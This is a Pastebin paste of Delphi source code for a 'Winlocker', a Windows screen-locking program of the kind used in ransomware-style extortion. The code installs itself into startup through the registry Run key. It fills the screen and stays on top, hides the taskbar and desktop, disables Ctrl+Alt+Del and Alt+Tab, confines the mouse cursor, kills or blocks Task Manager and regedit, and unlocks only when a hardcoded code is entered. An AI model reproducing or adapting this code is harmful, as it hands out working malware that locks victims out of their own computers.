Advertisement
appo

Winlocker 02-02-2014

Feb 2nd, 2014
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 8.14 KB | None | 0 0
  1.     unit Unit1;
  2.      
  3.     interface
  4.      
  5.     uses
  6.       Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.       Dialogs, StdCtrls, Buttons, ExtCtrls,registry, OleServer, WordXP;
  8.      
  9.     type
  10.       TForm1 = class(TForm)
  11.         Edit1: TEdit;
  12.         Button2: TButton;
  13.         Label3: TLabel;
  14.         Label7: TLabel;
  15.         Timer1: TTimer;
  16.         Button4: TButton;
  17.         Button5: TButton;
  18.         Button6: TButton;
  19.         Button8: TButton;
  20.         Button9: TButton;
  21.         Button3: TButton;
  22.         Button7: TButton;
  23.         Button16: TButton;
  24.         Button17: TButton;
  25.         Button18: TButton;
  26.         Timer2: TTimer;
  27.         Button1: TButton;
  28.         Button10: TButton;
  29.         ListBox1: TListBox;
  30.         procedure FormActivate(Sender: TObject);
  31.         procedure FormCreate(Sender: TObject);
  32.         procedure Edit1Change(Sender: TObject);
  33.         procedure FormKeyDown(Sender: TObject; var Key: Word;
  34.           Shift: TShiftState);
  35.         procedure Edit1KeyDown(Sender: TObject; var Key: Word;
  36.           Shift: TShiftState);
  37.         procedure Edit2KeyDown(Sender: TObject; var Key: Word;
  38.           Shift: TShiftState);
  39.         procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  40.         procedure Button2Click(Sender: TObject);
  41.         procedure Timer1Timer(Sender: TObject);
  42.         procedure Button4Click(Sender: TObject);
  43.         procedure Button5Click(Sender: TObject);
  44.         procedure Button6Click(Sender: TObject);
  45.         procedure Button8Click(Sender: TObject);
  46.         procedure Button9Click(Sender: TObject);
  47.         procedure Button3Click(Sender: TObject);
  48.         procedure Button7Click(Sender: TObject);
  49.         procedure Button16Click(Sender: TObject);
  50.         procedure Button17Click(Sender: TObject);
  51.         procedure Button18Click(Sender: TObject);
  52.         procedure Timer2Timer(Sender: TObject);
  53.         procedure Button10Click(Sender: TObject);
  54.       private
  55.         { Private declarations }
  56.       procedure CreateParams(var T: TCreateParams); override;
  57.       procedure CreateWindowsRegions(const X, Y: Integer; const RegionHandle: THandle);
  58.       public
  59.         { Public declarations }
  60.       end;
  61.      
  62.     var
  63.       Form1: TForm1;
  64.       m_OldMHook: HHook = 0;
  65.       k_OldKBHook: HHook = 0;
  66.      
  67.     implementation
  68.      
  69.      
  70.      
  71.     {$R *.dfm}
  72.      
  73.     function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
  74.     begin
  75.     if code < 0
  76.     then Result := CallNextHookEx(k_oldKbHook, code, wparam, lparam)
  77.     else Result := 1;
  78.     end;
  79.      
  80.     procedure TForm1.CreateWindowsRegions(const X, Y: Integer;
  81.       const RegionHandle: THandle);
  82.     var
  83.     FirstRegion, CombineRegion : THandle;
  84.     begin
  85.     FirstRegion := CreateRoundRectRGN(0 + X, 0 + Y, 650 + X, 410 + Y, 55, 55);
  86.     CombineRegion := FirstRegion;
  87.     SetWindowRGN(RegionHandle, CombineRegion, true);
  88.     end;
  89.      
  90.     procedure TForm1.Button3Click(Sender: TObject);
  91.     begin
  92.     edit1.text:=edit1.text+'6';
  93.     end;
  94.      
  95.     procedure TForm1.Button4Click(Sender: TObject);
  96.     begin
  97.     edit1.text:=edit1.text+'1';
  98.     end;
  99.      
  100.     procedure TForm1.Button5Click(Sender: TObject);
  101.     begin
  102.     edit1.text:=edit1.text+'2';
  103.     end;
  104.      
  105.     procedure TForm1.Button6Click(Sender: TObject);
  106.     begin
  107.     edit1.text:=edit1.text+'3';
  108.     end;
  109.      
  110.     procedure TForm1.Button7Click(Sender: TObject);
  111.     begin
  112.     edit1.text:=edit1.text+'7';
  113.     end;
  114.      
  115.     procedure TForm1.Button8Click(Sender: TObject);
  116.     begin
  117.     edit1.text:=edit1.text+'4';
  118.     end;
  119.      
  120.     procedure TForm1.Button9Click(Sender: TObject);
  121.     begin
  122.     edit1.text:=edit1.text+'5';
  123.     end;
  124.      
  125.     procedure TForm1.CreateParams(var T : TCreateParams);
  126.     begin
  127.     inherited Createparams(T);
  128.     with T do
  129.       Style := (Style or WS_POPUP) and not WS_DLGFRAME;
  130.     end;
  131.      
  132.     procedure TForm1.FormActivate(Sender: TObject);
  133.     var
  134.     hTaskBar : THandle;
  135.     begin
  136.       Edit1.Clear;
  137.     //Screen Size
  138.       form1.Height:=screen.Height;
  139.       form1.Width:=screen.Width;
  140.     //Disable ALT + CTRL + DEl ALT + TAB CTRL + ESC
  141.       SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
  142.     //Remove the Taskbar
  143.       hTaskbar := FindWindow('Shell_TrayWnd', Nil);
  144.       ShowWindow(hTaskBar, SW_HIDE);
  145.     //Remove icons from the desktop
  146.       ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
  147.     end;
  148.      
  149.     procedure TForm1.FormCreate(Sender: TObject);
  150.     var
  151.     reg: tregistry;
  152.     begin
  153.     CopyFile(PChar(ParamStr(0)), PChar('C:\Program Files\Windows Media Player\' + ExtractFileName(ParamStr(0))), True);
  154.     Reg:=TRegistry.Create;
  155.     Reg.RootKey:=HKEY_CURRENT_USER;
  156.     Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
  157.     Reg.WriteString('Media','C:\Program Files\Windows Media Player\stop.exe');
  158.     Reg.CloseKey;
  159.     end;
  160.      
  161.      
  162.      
  163.     procedure antio;
  164.     var
  165.     tit:HWND;
  166.     begin
  167.     tit:=FindWindow(nil, 'Диспетчер задач Windows');
  168.     if (tit>0) then
  169.     PostMessage(tit, WM_QUIT, 1, 0);
  170.     tit:=FindWindow(nil, 'Запуск программы');
  171.     if (tit>0) then
  172.     PostMessage(tit, WM_QUIT, 1, 0);
  173.     tit:=FindWindow(nil, 'Мой компьютер');
  174.     if (tit>0) then
  175.     PostMessage(tit, WM_QUIT, 1, 0);
  176.     end;
  177.      
  178.     procedure TForm1.Edit1Change(Sender: TObject);
  179.     begin
  180.         Edit1.PasswordChar:='*';
  181.     end;
  182.      
  183.      
  184.      
  185.     procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
  186.       Shift: TShiftState);
  187.     begin
  188.     if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
  189.     end;
  190.      
  191.     procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
  192.       Shift: TShiftState);
  193.     begin
  194.     if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
  195.     end;
  196.      
  197.     procedure TForm1.Edit2KeyDown(Sender: TObject; var Key: Word;
  198.       Shift: TShiftState);
  199.     begin
  200.     if (Shift = [ssAlt]) and (Key = VK_F4) then Key := 0;
  201.     end;
  202.      
  203.     procedure TForm1.Button10Click(Sender: TObject);
  204.     begin
  205.     edit1.text:=edit1.text+'-';
  206.     end;
  207.      
  208.     procedure TForm1.Button16Click(Sender: TObject);
  209.     begin
  210.     edit1.text:=edit1.text+'8';
  211.     end;
  212.      
  213.     procedure TForm1.Button17Click(Sender: TObject);
  214.     begin
  215.     edit1.text:=edit1.text+'9';
  216.     end;
  217.      
  218.     procedure TForm1.Button18Click(Sender: TObject);
  219.     begin
  220.     edit1.text:=edit1.text+'0';
  221.     end;
  222.      
  223.     procedure TForm1.Button2Click(Sender: TObject);
  224.     var
  225.       hTaskBar : THandle;
  226.       Login:string[10];
  227.       Password:string[20];
  228.     begin
  229.       Login:=edit1.text;
  230.     If (Login='1000') then
  231.     begin
  232.     DeleteFile('C:\Program Files\Windows Media Player\stop.exe');
  233.     ///////////////////////////////////////////////////////////////
  234.     //включаем alt+ctrl+del alt+tab ctrl+esc
  235.       SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
  236.     //Показываем иконки на рабочем столе
  237.       ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);
  238.     //Показываем Панель Задач
  239.       hTaskbar := FindWindow('Shell_TrayWnd', Nil);
  240.       ShowWindow(hTaskBar, SW_SHOWNORMAL);
  241.     //Закрываем прогу
  242.     Close;
  243.     ///////////////////////////////////////////////////////////////
  244.     end
  245.     else
  246.     begin
  247.       Messagedlg('Неверные Коды',mterror,[mbok],0);
  248.       Edit1.Clear;
  249.     end;
  250.     end;
  251.      
  252.     procedure TForm1.Timer1Timer(Sender: TObject);
  253.     begin
  254.     Form1.FormStyle:=fsStayOnTop;
  255.     fileopen('C:\windows\system32\taskmgr.exe',fmshareexclusive);
  256.     fileopen('C:\windows\regedit.exe',fmshareexclusive);
  257.     end;
  258.      
  259.     procedure TForm1.Timer2Timer(Sender: TObject);
  260.     var
  261.     curs: TRect;
  262.     begin
  263.     antio;
  264.      
  265.     SetWindowPos(Handle,HWND_TOPMOST,Left,Top,Width,Height,SWP_NOACTIVATE Or SWP_NOMOVE Or SWP_NOSIZE);
  266.     curs := Rect(Form1.Left+0, Form1.Top+0, Form1.Left + Form1.Width-0, Form1.Top + Form1.Height-0);
  267.     ClipCursor(@curs);
  268.     end;
  269.      
  270.     procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  271.     begin
  272.     CanClose:= false;
  273.     end;
  274.  
  275.     end.
  276.  
  277. // Coded by Agulzex //
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement